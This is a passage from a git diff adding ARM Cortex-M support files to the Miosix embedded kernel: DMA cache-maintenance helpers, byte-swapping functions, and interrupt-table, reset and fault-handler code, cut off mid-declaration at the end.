code. + * + * A note about performance. Using the testsuite benchmark, when caches are + * disabled the STM32F746 @ 216MHz is less than half the speed of the + * STM32F407 @ 168MHz. By enabling the ICACHE things get better, but it is + * still slower, and achieves a speedup of 1.53 only when both ICACHE and + * DCACHE are enabled. The speedup also includes the gains due to the faster + * clock frequency. So if you want speed you have to use caches. + */ + +#include "interfaces/arch_registers.h" + +namespace miosix { + +static const unsigned int cacheLine=32; //Cortex-M7 cache line size + +inline void markBufferBeforeDmaWrite(const void *buffer, int size) +{ +#if defined(__DCACHE_PRESENT) && (__DCACHE_PRESENT==1) + // You may think that since the cache is configured as write-through, + // there's nothing to do before the DMA can read a memory buffer just + // written by the CPU, right? Wrong! Other than the cache, there's the + // write buffer to worry about. My hypothesis is that once a memory region + // is marked as cacheable, the write buffer becomes more lax in + // automatically flushing as soon as possible. In the stm32 serial port + // driver writing just a few characters causes garbage to be printed if + // this __DSB() is removed. Apparently, the characters remian in the write + // buffer. + __DSB(); +#endif +} + +#if defined(__DCACHE_PRESENT) && (__DCACHE_PRESENT==1) +void markBufferAfterDmaRead(void *buffer, int size); +#else +inline void markBufferAfterDmaRead(void *buffer, int size) {} +#endif + +inline void IRQenableCache() +{ + #if defined(__ICACHE_PRESENT) && (__ICACHE_PRESENT==1) + SCB_EnableICache(); + #endif + #if defined(__DCACHE_PRESENT) && (__DCACHE_PRESENT==1) + SCB_EnableDCache(); + #endif +} + +} //namespace miosix diff --git a/miosix/arch/cpu/common/cortexMx_endianness.h b/miosix/arch/cpu/common/cortexMx_endianness.h new file mode 100644 index 000000000..f1e84181c --- /dev/null +++ b/miosix/arch/cpu/common/cortexMx_endianness.h @@ -0,0 +1,86 @@ +/*************************************************************************** + * Copyright (C) 2011-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#ifdef __cplusplus +#define __MIOSIX_INLINE inline +#else //__cplusplus +#define __MIOSIX_INLINE static inline +#endif //__cplusplus + +__MIOSIX_INLINE unsigned short swapBytes16(unsigned short x) +{ + //It's kind of a shame that GCC can't automatically make use of + //instructions like rev and rev16 to do byte swapping. + //Moreover, while for 32 and 64 bit integers it has builtins, for 16 bit + //we're forced to use inline asm. + #ifdef __GNUC__ + if(!__builtin_constant_p(x)) + { + unsigned short y; + asm("rev16 %0, %1":"=r"(y):"r"(x)); + return y; + } else { + //It gets worse: if value is constant inlining assembler disables + //contant folding, wtf... + return (x>>8) | (x<<8); + } + #else //__GNUC__ + return (x>>8) | (x<<8); + #endif //__GNUC__ +} + +__MIOSIX_INLINE unsigned int swapBytes32(unsigned int x) +{ + #ifdef __GNUC__ + return __builtin_bswap32(x); + #else //__GNUC__ + return ( x>>24) | + ((x<< 8) & 0x00ff0000) | + ((x>> 8) & 0x0000ff00) | + ( x<<24); + #endif //__GNUC__ +} + +__MIOSIX_INLINE unsigned long long swapBytes64(unsigned long long x) +{ + #ifdef __GNUC__ + return __builtin_bswap64(x); + #else //__GNUC__ + return ( x>>56) | + ((x<<40) & 0x00ff000000000000ull) | + ((x<<24) & 0x0000ff0000000000ull) | + ((x<< 8) & 0x000000ff00000000ull) | + ((x>> 8) & 0x00000000ff000000ull) | + ((x>>24) & 0x0000000000ff0000ull) | + ((x>>40) & 0x000000000000ff00ull) | + ( x<<56); + #endif //__GNUC__ +} + +#undef __MIOSIX_INLINE diff --git a/miosix/arch/cpu/common/cortexMx_interrupts.cpp b/miosix/arch/cpu/common/cortexMx_interrupts.cpp new file mode 100644 index 000000000..2e94a358f --- /dev/null +++ b/miosix/arch/cpu/common/cortexMx_interrupts.cpp @@ -0,0 +1,840 @@ +/*************************************************************************** + * Copyright (C) 2010-2024 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include "cortexMx_interrupts.h" +#include "util/util.h" +#include "kernel/logging.h" +#include "kernel/thread.h" +#include "kernel/process.h" +#include "kernel/scheduler/scheduler.h" +#include "kernel/boot.h" +#include "miosix_settings.h" +#include "interfaces/poweroff.h" +#include "interfaces_private/cpu.h" +#include "interfaces/arch_registers.h" +#include "interfaces/interrupts.h" +#include "interfaces_private/smp.h" + +#ifndef __CORTEX_M +#error "__CORTEX_M undefined" +#endif //__CORTEX_M + +namespace miosix { + +// +// Declaration of interrupt handler functions, used to fill the interrupt table +// + +extern char _main_stack_top asm("_irq_stack_top"); //defined in the linker script +void __attribute__((naked)) Reset_Handler(); +void NMI_Handler(); +void HardFault_Handler(); +#if __CORTEX_M != 0 +void MemManage_Handler(); +void BusFault_Handler(); +void UsageFault_Handler(); +void DebugMon_Handler(); +#endif //__CORTEX_M != 0 +void SVC_Handler(); +void __attribute__((naked)) PendSV_Handler(); +void SysTick_Handler(); +static void unexpectedInterrupt(void*); + +// +// Code to build the interrupt table in FLASH and interrupt forwarding table in RAM +// + +/** + * \internal + * numInterrupts is the size of the peripheral interrupt table of the chip + * we are compiling for. We patch the \code enum IRQn \endcode in the CMSIS + * to add the MIOSIX_NUM_PERIPHERAL_IRQ constant for every MCU we support. + */ +const unsigned int numInterrupts=MIOSIX_NUM_PERIPHERAL_IRQ; + +/** + * \internal + * To enable interrupt registration at run-time and interrupt arg pointer + * passing, we use one of these structs per peripheral interrupt allocated in RAM + */ +struct IrqForwardingEntry +{ + //NOTE: a constexpr constructor can be used to perform static initialization + //of the table entries, but this uses a lot of Flash memory to store the + //initialization values. We thus opted to leave the table uninitialized + //and add the IRQinitIrqTable function that provides space efficient + //initialization by means of a loop + // constexpr IrqForwardingEntry() : handler(&unexpectedInterrupt), arg(nullptr) {} + void (*handler)(void *); + void *arg; +}; + +/// \internal Table of run-time registered interrupt handlers and args +static IrqForwardingEntry irqForwardingTable[numInterrupts]; + +/** + * \internal + * Interrupt proxy function. One instance of this function is generated for + * each peripheral interrupt, and pointers to all these functions are placed in + * the hardware interrupt table in Flash memory. + * Note that even though we can move the hardware interrupt table in RAM, we + * don't do so, as we also need to pass args to registered interrupts, something + * that the hardware doesn't do, so we do need this proxy level to pass args + * to interrupts + * \tparam N which entry of the irqForwardingTable this function should refer to + * NOTE: more compact assembly is produced if this function is not marked noexcept + */ +template void irqProxy() /*noexcept*/ +{ + (*irqForwardingTable[N].handler)(irqForwardingTable[N].arg); +} + +// If all the ARM Cortex microcontrollers had the same number of interrupts, we +// could just write the interrupt proxy table explicitly in the following way: +// +// extern const fnptr interruptProxyTable[numInterrupts]= +// { +// &irqProxy<0>, &irqProxy<1>, ... &irqProxy +// }; +// +// However, numInterrupts is different in different microcontrollers, so we use +// template metaprogramming to programmatically generate the interrupt proxy +// table whose size is the value of numInterrupts. + +typedef void (*fnptr)(); + +template +struct InterruptProxyTable +{ + const fnptr entry[sizeof...(args)]={ args... }; +}; + +template +struct TableGenerator +{ + typedef typename TableGenerator, args...>::type type; +}; + +template +struct TableGenerator<0, args...> +{ + typedef InterruptProxyTable type; +}; + +/** + * \internal + * This struct is the type whose memory layout corresponds to the ARM Cortex + * hardware interrupt table. + */ +struct InterruptTable +{ + constexpr InterruptTable(char* stackptr, fnptr i1, fnptr i2, fnptr i3, + fnptr i4, fnptr i5, fnptr i6, fnptr i7, + fnptr i8, fnptr i9, fnptr i10, fnptr i11, + fnptr i12, fnptr i13, fnptr i14, fnptr i15) + : stackptr(stackptr), i1(i1), i2(i2), i3(i3), i4(i4), i5(i5), i6(i6), i7(i7), + i8(i8), i9(i9), i10(i10), i11(i11), i12(i12), i13(i13), i14(i14), i15(i15) {} + + // The first entries of the interrupt table are the stack pointer, reset + // vector and "system" interrupt entries. We don't make these run-time + // registrable nor provide arg pointers for those, as only the kernel + // uses them + char *stackptr; + fnptr i1, i2, i3, i4, i5, i6, i7, i8, i9, i10, i11, i12, i13, i14, i15; + // The rest of the interrupt table, the one for peripheral interrupts is + // generated programmatically using template metaprogramming to produce the + // proxy functions that allow dynamically registering interrupts. + TableGenerator::type interruptProxyTable; +}; + +/// \internal The actual hardware interrupt table, placed in the .isr_vector +/// section to make sure it is placed at the start of the Flash memory where the +/// hardware expects it +__attribute__((section(".isr_vector"))) extern const InterruptTable hardwareInterruptTable +( + #if __CORTEX_M != 0 + &_main_stack_top, // Stack pointer + Reset_Handler, // Reset Handler + NMI_Handler, // NMI Handler + HardFault_Handler, // Hard Fault Handler + MemManage_Handler, // MPU Fault Handler + BusFault_Handler, // Bus Fault Handler + UsageFault_Handler, // Usage Fault Handler + nullptr, // Reserved + nullptr, // Reserved + nullptr, // Reserved + nullptr, // Reserved + SVC_Handler, // SVCall Handler + DebugMon_Handler, // Debug Monitor Handler + nullptr, // Reserved + PendSV_Handler, // PendSV Handler + SysTick_Handler // SysTick Handler + #else //__CORTEX_M != 0 + &_main_stack_top, // Stack pointer + Reset_Handler, // Reset Handler + NMI_Handler, // NMI Handler + HardFault_Handler, // Hard Fault Handler + nullptr, // Reserved + nullptr, // Reserved + nullptr, // Reserved + nullptr, // Reserved + nullptr, // Reserved + nullptr, // Reserved + nullptr, // Reserved + SVC_Handler, // SVCall Handler + nullptr, // Reserved + nullptr, // Reserved + PendSV_Handler, // PendSV Handler + SysTick_Handler // SysTick Handler + #endif //__CORTEX_M != 0 +); + +// +// Implementation of the interrupts.h interface +// + +void IRQinitIrqTable() noexcept +{ + //Cortex M0 non-plus do not have a VTOR register + #if __CORTEX_M != 0 || (defined (__VTOR_PRESENT) && (__VTOR_PRESENT == 1U)) + //Can't set VTOR to point to XRAM + #ifndef __CODE_IN_XRAM + //NOTE: the bootoader in some MCUs such as ATSam4l does not relocate the + //vector table offset to the one in the firmware, so we force it here. + SCB->VTOR=reinterpret_cast(&hardwareInterruptTable); + #endif + #endif + + //Effectively disable interrupt nesting by setting priority grouping such + //that all exceptions will have the same priority (zero). With this setting, + //NVIC_SetPriority will only affect the sub-priority of the exceptions, + //i.e. which one executes first when there are multiple pending. + //This does NOT apply to the case where an exception causes another while + //saving registers, though, because that mechanism does not look at + //sub-priorities! As a result, a SVC in a process that causes a + //MemManage will not cause the MemManage handler to run first. + //Priority grouping does not exist on Cortex-M0, so we have to explicitly + //set all priorities to the same value to get the same effect. + #if __CORTEX_M != 0 + NVIC_SetPriorityGrouping(7); + #endif + //Quirk: static_cast(-5) is sometimes defined as SVCall_IRQn and + //sometimes as SVC_IRQn. We could use complicated means to detect which + //enumeration item is defined, or we could use its value directly which + //is much simpler. This is not a constant that is subject to change anyway. + NVIC_SetPriority(static_cast(-5),defaultIrqPriority); + NVIC_SetPriority(PendSV_IRQn,defaultIrqPriority); + NVIC_SetPriority(SysTick_IRQn,defaultIrqPriority); + #if __CORTEX_M != 0 + NVIC_SetPriority(BusFault_IRQn,defaultIrqPriority-1); //Higher + NVIC_SetPriority(UsageFault_IRQn,defaultIrqPriority-1); //Higher + NVIC_SetPriority(MemoryManagement_IRQn,defaultIrqPriority-1); //Higher + NVIC_SetPriority(DebugMonitor_IRQn,defaultIrqPriority); + #endif //__CORTEX_M != 0 + + for(unsigned int i=0;i(i); + #endif //WITH_ERRLOG + NVIC_SetPriority(static_cast(i),defaultIrqPriority); + } +} + +inline void IRQregisterIrqImpl(unsigned int id, void (*handler)(void*), void *arg) noexcept +{ + if(id>=numInterrupts || irqForwardingTable[id].handler!=unexpectedInterrupt) + errorHandler(Error::INTERRUPT_REGISTRATION_ERROR); + irqForwardingTable[id].handler=handler; + irqForwardingTable[id].arg=arg; + NVIC_EnableIRQ(static_cast(id)); +} + +inline void IRQunregisterIrqImpl(unsigned int id, void (*handler)(void*), void *arg) noexcept +{ + if(id>=numInterrupts + || irqForwardingTable[id].handler!=handler + || irqForwardingTable[id].arg!=arg) + errorHandler(Error::INTERRUPT_REGISTRATION_ERROR); + irqForwardingTable[id].handler=unexpectedInterrupt; + #ifdef WITH_ERRLOG + irqForwardingTable[id].arg=reinterpret_cast(id); + #endif //WITH_ERRLOG + NVIC_DisableIRQ(static_cast(id)); + NVIC_ClearPendingIRQ(static_cast(id)); +} + +#ifdef WITH_SMP + +void IRQregisterIrqOnCurrentCore(unsigned int id, void (*handler)(void*), void *arg) noexcept +{ + IRQregisterIrqImpl(id,handler,arg); +} + +void IRQunregisterIrqOnCurrentCore(unsigned int id, void (*handler)(void*), void *arg) noexcept +{ + IRQunregisterIrqImpl(id,handler,arg); +} + +struct IrqRegistrationContext +{ + unsigned int id; + void (*handler)(void*); + void *arg; +}; + +static void IRQregisterIrqOnCoreHandler(void *ctxt) +{ + IrqRegistrationContext *irqCtxt=reinterpret_cast(ctxt); + IRQregisterIrqImpl(irqCtxt->id,irqCtxt->handler,irqCtxt->arg); +} + +void IRQregisterIrqOnCore(GlobalIrqLock& lock, unsigned char coreId, + unsigned int id, void (*handler)(void*), void *arg) noexcept +{ + if(coreId==getCurrentCoreId()) IRQregisterIrqImpl(id,handler,arg); + else { + IrqRegistrationContext irqCtxt={id,handler,arg}; + IRQcallOnCore(lock,coreId,&IRQregisterIrqOnCoreHandler,&irqCtxt); + } +} + +static void IRQunregisterIrqOnCoreHandler(void *ctxt) +{ + IrqRegistrationContext *irqCtxt=reinterpret_cast(ctxt); + IRQunregisterIrqImpl(irqCtxt->id,irqCtxt->handler,irqCtxt->arg); +} + +void IRQunregisterIrqOnCore(GlobalIrqLock& lock, unsigned char coreId, + unsigned int id, void (*handler)(void*), void *arg) noexcept +{ + if(coreId==getCurrentCoreId()) IRQunregisterIrqImpl(id,handler,arg); + else { + IrqRegistrationContext irqCtxt={id,handler,arg}; + IRQcallOnCore(lock,coreId,&IRQunregisterIrqOnCoreHandler,&irqCtxt); + } +} + +#else // WITH_SMP + +void IRQregisterIrq(GlobalIrqLock& lock, unsigned int id, + void (*handler)(void*), void *arg) noexcept +{ + IRQregisterIrqImpl(id,handler,arg); +} + +void IRQunregisterIrq(GlobalIrqLock& lock, unsigned int id, + void (*handler)(void*), void *arg) noexcept +{ + IRQunregisterIrqImpl(id,handler,arg); +} + +#endif // WITH_SMP + +bool IRQisIrqRegistered(unsigned int id) noexcept +{ + if(id>=numInterrupts) return false; + return irqForwardingTable[id].handler!=unexpectedInterrupt; +} + +// +// Support functions to implement interrupt handlers +// + +#ifdef WITH_ERRLOG +/** + * \internal + * Used to print an unsigned int in hexadecimal format, and to reboot the system + * This function exists because printf/iprintf cannot be used inside an IRQ. + * \param x number to print + */ +static void printUnsignedInt(unsigned int x) +{ + char result[]="0x........\r\n"; + formatHex(result+2,x,8); + IRQerrorLog(result); +} + +/** + * \internal + * Attempt to print the program counter of the thread that was running when the + * exception occurred. + */ +static void tryPrintingProgramCounter() +{ + // Attempt to get program counter at the time the exception was thrown from + // stack frame. This can fail if the stack pointer itself is corrupted. + // Failing to validate the thread stack pointer before dereferencing it may + // cause further memory faults and a CPU lockup + unsigned int psp=__get_PSP(); + // Miosix uses the stack-in-heap approach for kernel threads, so compare the + // stack pointer against the boundaries of the heap + extern char _end asm("_end"); //defined in the linker script + extern char _heap_end asm("_heap_end"); //defined in the linker script + const unsigned int off=24; //Offset in bytes of PC in the stack frame on ARM + if(psp(&_end) + || psp>reinterpret_cast(&_heap_end)-off-sizeof(unsigned int)) + IRQerrorLog("? (Corrupted stack)\r\n"); + else printUnsignedInt(*reinterpret_cast(psp+off)); +} +#endif //WITH_ERRLOG + +// +// Interrupt handlers +// + +void __attribute__((naked)) Reset_Handler() +{ + /* + * The reset handler is the first function that is called by hardware at + * boot. The ARM Cortex cores come out of reset with the stack pointer + * already set, thus it should be possible to write the boot code straight + * in C/C++ but that's not so easy. + * + * The ARM Cortex cores have two stacks: main (MSP) and process (PSP). + * After booting, Miosix uses the MSP only for interrupt handlers, which + * are executed from a dedicated stack memory area placed in the + * microcontroller internal memory. The top of this stack is identified by + * the symbol _main_stack_top. + * Miosix uses the PSP as the stack of the currently running thread. + * Stack threads are allocated on the heap, which can also be in an external + * SRAM or SDRAM memory for boards that have one. + * + * During boot, we must consider that if the board uses external memory, + * this may not be available until we enable it. Part of the memory map + * in the linker script may thus not be accessible. + * Moreover, global variables in .data/.bss cannot be accessed because they + * are only initialized when kernelBootEntryPoint() is called. + * + * Thus the early stage of the boot proceeds as follows: + * The Cortex CPU comes out of reset using the MSP stack which points to + * a small stack (it's meant to be used only for interrupts, after all) + * that is always located in internal RAM. We take advantage of this stack + * to call a board-specific function miosix::memoryAndClockInit() that + * usually does only the following: + * - Enable PLL and configure FLASH wait states + * - Enable the external memory if available + * This board-specific function shall not access global variables, as they + * are surely not initialized and possibly located in an external memory + * that isn't accessible yet. + * When this function returns, though, the whole memory map is accessible. + * Thus, we abandon the MSP stack (leaving it empty as the only function we + * pushed just returned) and leave it for interrupts only, and use the PSP + * stack instead. + * Since we haven't booted yet and thus we are not inside a thread, we need + * to make the PSP point somewhere. + * Miosix reuses the top part of the heap for this. During this phase of + * the boot, before the first context switch, we thus have no heap-stack + * smashing protection, but we have access to a stack that is bigger than + * the interrupt-only stack. After the first context switch, this stack too + * will be abandoned although not in an empty state, but it doesn't matter + * as we'll never return to it and its memory will just be reused as heap. + * + * The code in this reset handler thus switches stack pointer mid-function, + * something that's best done in assembly, as the compiler may use the stack + * implicitly. That's why we don't write this part in C++. + * + * After switching stack we continue boot by calling + * miosix::IRQkernelBootEntryPoint() + */ + #if __CORTEX_M == 33 + //ARMv8M supports hardware stack overflow checking, configure IRQ stack limit + asm volatile("ldr r0, =_irq_stack_bottom \n\t" + "msr msplim, r0 \n\t"); + #endif + asm volatile("cpsid i \n\t" //Disable interrupts + "bl _ZN6miosix21IRQmemoryAndClockInitEv \n\t" //Initialize PLL,FLASH,XRAM + "ldr r0, =_heap_end \n\t" //Get pointer to heap end + "msr psp, r0 \n\t" //and use it as PSP + "movs r0, #2 \n\n" //Privileged, process stack + "msr control, r0 \n\t" //Activate PSP + "isb \n\t" //Required when switching stack + "bl _ZN6miosix23IRQkernelBootEntryPointEv"); //Continue boot +} + +void NMI_Handler() +{ + FastGlobalLockFromIrq lock; + IRQerrorLog("\r\n***Unexpected NMI\r\n"); + IRQsystemReboot(); +} + +#ifdef WITH_PROCESSES +void __attribute__((naked)) HardFault_Handler() +{ + saveContext(); + asm volatile("bl _ZN6miosix13hardfaultImplEv"); + restoreContext(); +} + +void __attribute__((noinline)) hardfaultImpl() +{ + FastGlobalLockFromIrq lock; + if(Thread::IRQreportFault(FaultData(fault::HARDFAULT))) + { + //Clear all pending exceptions as a defensive measure + //(see comment in MEMFAULTPENDED) + #if __CORTEX_M == 0 + SCB->SHCSR &= ~SCB_SHCSR_SVCALLPENDED_Msk; + #else + SCB->SHCSR &= ~(SCB_SHCSR_BUSFAULTPENDED_Msk + | SCB_SHCSR_MEMFAULTPENDED_Msk + | SCB_SHCSR_USGFAULTPENDED_Msk + | SCB_SHCSR_SVCALLPENDED_Msk); + #endif + return; + } +#else //WITH_PROCESSES +void HardFault_Handler() +{ + FastGlobalLockFromIrq lock; +#endif //WITH_PROCESSES + #ifdef WITH_ERRLOG + IRQerrorLog("\r\n***Unexpected HardFault @ "); + tryPrintingProgramCounter(); + #if __CORTEX_M != 0 + unsigned int hfsr=SCB->HFSR; + if(hfsr & 0x40000000) //SCB_HFSR_FORCED + IRQerrorLog("Fault escalation occurred\r\n"); + if(hfsr & 0x00000002) //SCB_HFSR_VECTTBL + IRQerrorLog("A BusFault occurred during a vector table read\r\n"); + #endif //__CORTEX_M != 0 + #endif //WITH_ERRLOG + IRQsystemReboot(); +} + +// Cortex M0/M0+ architecture does not have these interrupt handlers +#if __CORTEX_M != 0 + +#ifdef WITH_PROCESSES +void __attribute__((naked)) MemManage_Handler() +{ + saveContext(); + asm volatile("bl _ZN6miosix13memManageImplEv"); + restoreContext(); +} + +void __attribute__((noinline)) memManageImpl() +#else //WITH_PROCESSES +void MemManage_Handler() +#endif //WITH_PROCESSES +{ + FastGlobalLockFromIrq lock; + #if defined(WITH_PROCESSES) || defined(WITH_ERRLOG) + unsigned int cfsr=SCB->CFSR; + #endif //WITH_PROCESSES || WITH_ERRLOG + #ifdef WITH_PROCESSES + int id, arg=0; + if(cfsr & 0x00000001) id=fault::MP_XN; + else if(cfsr & 0x00000080) { id=fault::MP; arg=SCB->MMFAR; } + else if(cfsr & 0x00000010) + { + id=fault::MP_STACK; + arg=ctxsave[getCurrentCoreId()][STACK_OFFSET_IN_CTXSAVE]; + } else id=fault::MP_NOADDR; + if(Thread::IRQreportFault(FaultData(id,arg))) + { + //Clear MMARVALID, MLSPERR, MSTKERR, MUNSTKERR, DACCVIOL, IACCVIOL + SCB->CFSR = 0x000000bb; + //Clear all pending exceptions and SVCs for the process now that we are + //in kernelspace. This is necessary for example if a stack overflow + //is detected simultaneously with a MemManage exception. + //A more complicated case is when the core has an FPU and the thread was + //using the FPU registers attempting to save these registers causes a + //second memory fault (MSLPERR bit) which causes the memory fault + //interrupt to become both pending and active, thus it would run twice. + //In all these cases, if the fault pending status is not cleared, the + //unhandled is going to trigger after switching to kernelspace, causing + //it to be misreported as a kernel fault instead. + SCB->SHCSR &= ~(SCB_SHCSR_BUSFAULTPENDED_Msk + | SCB_SHCSR_MEMFAULTPENDED_Msk + | SCB_SHCSR_USGFAULTPENDED_Msk + | SCB_SHCSR_SVCALLPENDED_Msk); + return; + } + #endif //WITH_PROCESSES + #ifdef WITH_ERRLOG + IRQerrorLog("\r\n***Unexpected MemManage @ "); + tryPrintingProgramCounter(); + if(cfsr & 0x00000080) //SCB_CFSR_MMARVALID + { + IRQerrorLog("Fault caused by attempted access to "); + printUnsignedInt(SCB->MMFAR); + } else IRQerrorLog("The address that caused the fault is missing\r\n"); + if(cfsr & 0x00000010) //SCB_CFSR_MSTKERR + IRQerrorLog("Fault occurred during exception stacking\r\n"); + if(cfsr & 0x00000008) //SCB_CFSR_MUNSTKERR + IRQerrorLog("Fault occurred during exception unstacking\r\n"); + if(cfsr & 0x00000002) //SCB_CFSR_DACCVIOL + IRQerrorLog("Fault was caused by invalid PC\r\n"); + if(cfsr & 0x00000001) //SCB_CFSR_IACCVIOL + IRQerrorLog("Fault was caused by attempted execution from XN area\r\n"); + #endif //WITH_ERRLOG + IRQsystemReboot(); +} + +#ifdef WITH_PROCESSES +void __attribute__((naked)) BusFault_Handler() +{ + saveContext(); + asm volatile("bl _ZN6miosix12busFaultImplEv"); + restoreContext(); +} + +void __attribute__((noinline)) busFaultImpl() +#else //WITH_PROCESSES +void BusFault_Handler() +#endif //WITH_PROCESSES +{ + FastGlobalLockFromIrq lock; + #if defined(WITH_PROCESSES) || defined(WITH_ERRLOG) + unsigned int cfsr=SCB->CFSR; + #endif //WITH_PROCESSES || WITH_ERRLOG + #ifdef WITH_PROCESSES + int id, arg=0; + if(cfsr & 0x00008000) { id=fault::BF; arg=SCB->BFAR; } + else id=fault::BF_NOADDR; + if(Thread::IRQreportFault(FaultData(id,arg))) + { + //Clear BFARVALID, LSPERR, STKERR, UNSTKERR, IMPRECISERR, PRECISERR, IBUSERR + SCB->CFSR = 0x0000bf00; + //Clear all pending exceptions as a defensive measure + //(see comment in MEMFAULTPENDED) + SCB->SHCSR &= ~(SCB_SHCSR_BUSFAULTPENDED_Msk + | SCB_SHCSR_MEMFAULTPENDED_Msk + | SCB_SHCSR_USGFAULTPENDED_Msk + | SCB_SHCSR_SVCALLPENDED_Msk); + return; + } + #endif //WITH_PROCESSES + #ifdef WITH_ERRLOG + IRQerrorLog("\r\n***Unexpected BusFault @ "); + tryPrintingProgramCounter(); + if(cfsr & 0x00008000) //SCB_CFSR_BFARVALID + { + IRQerrorLog("Fault caused by attempted access to "); + printUnsignedInt(SCB->BFAR); + } else IRQerrorLog("The address that caused the fault is missing\r\n"); + if(cfsr & 0x00001000) //SCB_CFSR_STKERR + IRQerrorLog("Fault occurred during exception stacking\r\n"); + if(cfsr & 0x00000800) //SCB_CFSR_UNSTKERR + IRQerrorLog("Fault occurred during exception unstacking\r\n"); + if(cfsr & 0x00000400) //SCB_CFSR_IMPRECISERR + IRQerrorLog("Fault is imprecise\r\n"); + if(cfsr & 0x00000200) //SCB_CFSR_PRECISERR + IRQerrorLog("Fault is precise\r\n"); + if(cfsr & 0x00000100) //SCB_CFSR_IBUSERR + IRQerrorLog("Fault happened during instruction fetch\r\n"); + #endif //WITH_ERRLOG + IRQsystemReboot(); +} + +#ifdef WITH_PROCESSES +void __attribute__((naked)) UsageFault_Handler() +{ + saveContext(); + asm volatile("bl _ZN6miosix14usageFaultImplEv"); + restoreContext(); +} + +void __attribute__((noinline)) usageFaultImpl() +#else //WITH_PROCESSES +void UsageFault_Handler() +#endif //WITH_PROCESSES +{ + FastGlobalLockFromIrq lock; + #if defined(WITH_PROCESSES) || defined(WITH_ERRLOG) + unsigned int cfsr=SCB->CFSR; + #endif //WITH_PROCESSES || WITH_ERRLOG + #ifdef WITH_PROCESSES + int id; + if(cfsr & 0x02000000) id=fault::UF_DIVZERO; + else if(cfsr & 0x01000000) id=fault::UF_UNALIGNED; + else if(cfsr & 0x00080000) id=fault::UF_COPROC; + else if(cfsr & 0x00040000) id=fault::UF_EXCRET; + else if(cfsr & 0x00020000) id=fault::UF_EPSR; + else if(cfsr & 0x00010000) id=fault::UF_UNDEF; + else id=fault::UF_UNEXP; + if(Thread::IRQreportFault(FaultData(id))) + { + //Clear DIVBYZERO, UNALIGNED, UNDEFINSTR, INVSTATE, INVPC, NOCP + SCB->CFSR = 0x030f0000; + //Clear all pending exceptions as a defensive measure + //(see comment in MEMFAULTPENDED) + SCB->SHCSR &= ~(SCB_SHCSR_BUSFAULTPENDED_Msk + | SCB_SHCSR_MEMFAULTPENDED_Msk + | SCB_SHCSR_USGFAULTPENDED_Msk + | SCB_SHCSR_SVCALLPENDED_Msk); + return; + } + #endif //WITH_PROCESSES + #ifdef WITH_ERRLOG + IRQerrorLog("\r\n***Unexpected UsageFault @ "); + tryPrintingProgramCounter(); + if(cfsr & 0x02000000) //SCB_CFSR_DIVBYZERO + IRQerrorLog("Divide by zero\r\n"); + if(cfsr & 0x01000000) //SCB_CFSR_UNALIGNED + IRQerrorLog("Unaligned memory access\r\n"); + if(cfsr & 0x00080000) //SCB_CFSR_NOCP + IRQerrorLog("Attempted coprocessor access\r\n"); + if(cfsr & 0x00040000) //SCB_CFSR_INVPC + IRQerrorLog("EXC_RETURN not expected now\r\n"); + if(cfsr & 0x00020000) //SCB_CFSR_INVSTATE + IRQerrorLog("Invalid EPSR usage\r\n"); + if(cfsr & 0x00010000) //SCB_CFSR_UNDEFINSTR + IRQerrorLog("Undefined instruction\r\n"); + #endif //WITH_ERRLOG + IRQsystemReboot(); +} + +void DebugMon_Handler() +{ + FastGlobalLockFromIrq lock; + #ifdef WITH_ERRLOG + IRQerrorLog("\r\n***Unexpected DebugMon @ "); + tryPrintingProgramCounter(); + #endif //WITH_ERRLOG + IRQsystemReboot(); +} + +#endif //__CORTEX_M != 0 + +#ifdef WITH_PROCESSES +void __attribute__((naked)) SVC_Handler() +{ + saveContext(); + #if __CORTEX_M != 0 + //If there are higher-priority faults pending, do not process the SVC, as + //they must have been caused during register saving. If that wasn't the + //case, they would have triggered before the SVC. + //This does not happen on armv6-m (Cortex-M0) because HardFault is the only + //possible exception triggerable by a context save and that has a hardcoded + //higher priority and will preempt and run first no matter what. + //If we do not exit now IRQhandleSvc may switch from userspace into + //kernelspace, causing these faults to be attributed to the kernel rather + //than the process. + //Here we would like to write the following code + //if((SCB->SHCSR & (SCB_SHCSR_BUSFAULTPENDED_Msk + // | SCB_SHCSR_MEMFAULTPENDED_Msk + // | SCB_SHCSR_USGFAULTPENDED_Msk))==0) Thread::IRQhandleSvc(); + //but we we're trying to avoid to call an intermediate C++ function + asm volatile(" ldr r0, =0xe000ed00 \n" // SCB + " ldr r0, [r0, #36] \n" // SCB->SHCSR + " tst r0, #28672 \n" //BUSFAULTPENDED | MEMFAULTPENDED | USGFAULTPENDED + " bne 0f \n" + " bl _ZN6miosix6Thread12IRQhandleSvcEv \n" + "0: \n"); + #else + asm volatile("bl _ZN6miosix6Thread12IRQhandleSvcEv"); + #endif + restoreContext(); +} +#else //WITH_PROCESSES +void SVC_Handler() +{ + FastGlobalLockFromIrq lock; + #ifdef WITH_ERRLOG + IRQerrorLog("\r\n***Unexpected SVC @ "); + tryPrintingProgramCounter(); + #endif //WITH_ERRLOG + IRQsystemReboot(); +} +#endif //WITH_PROCESSES + +void 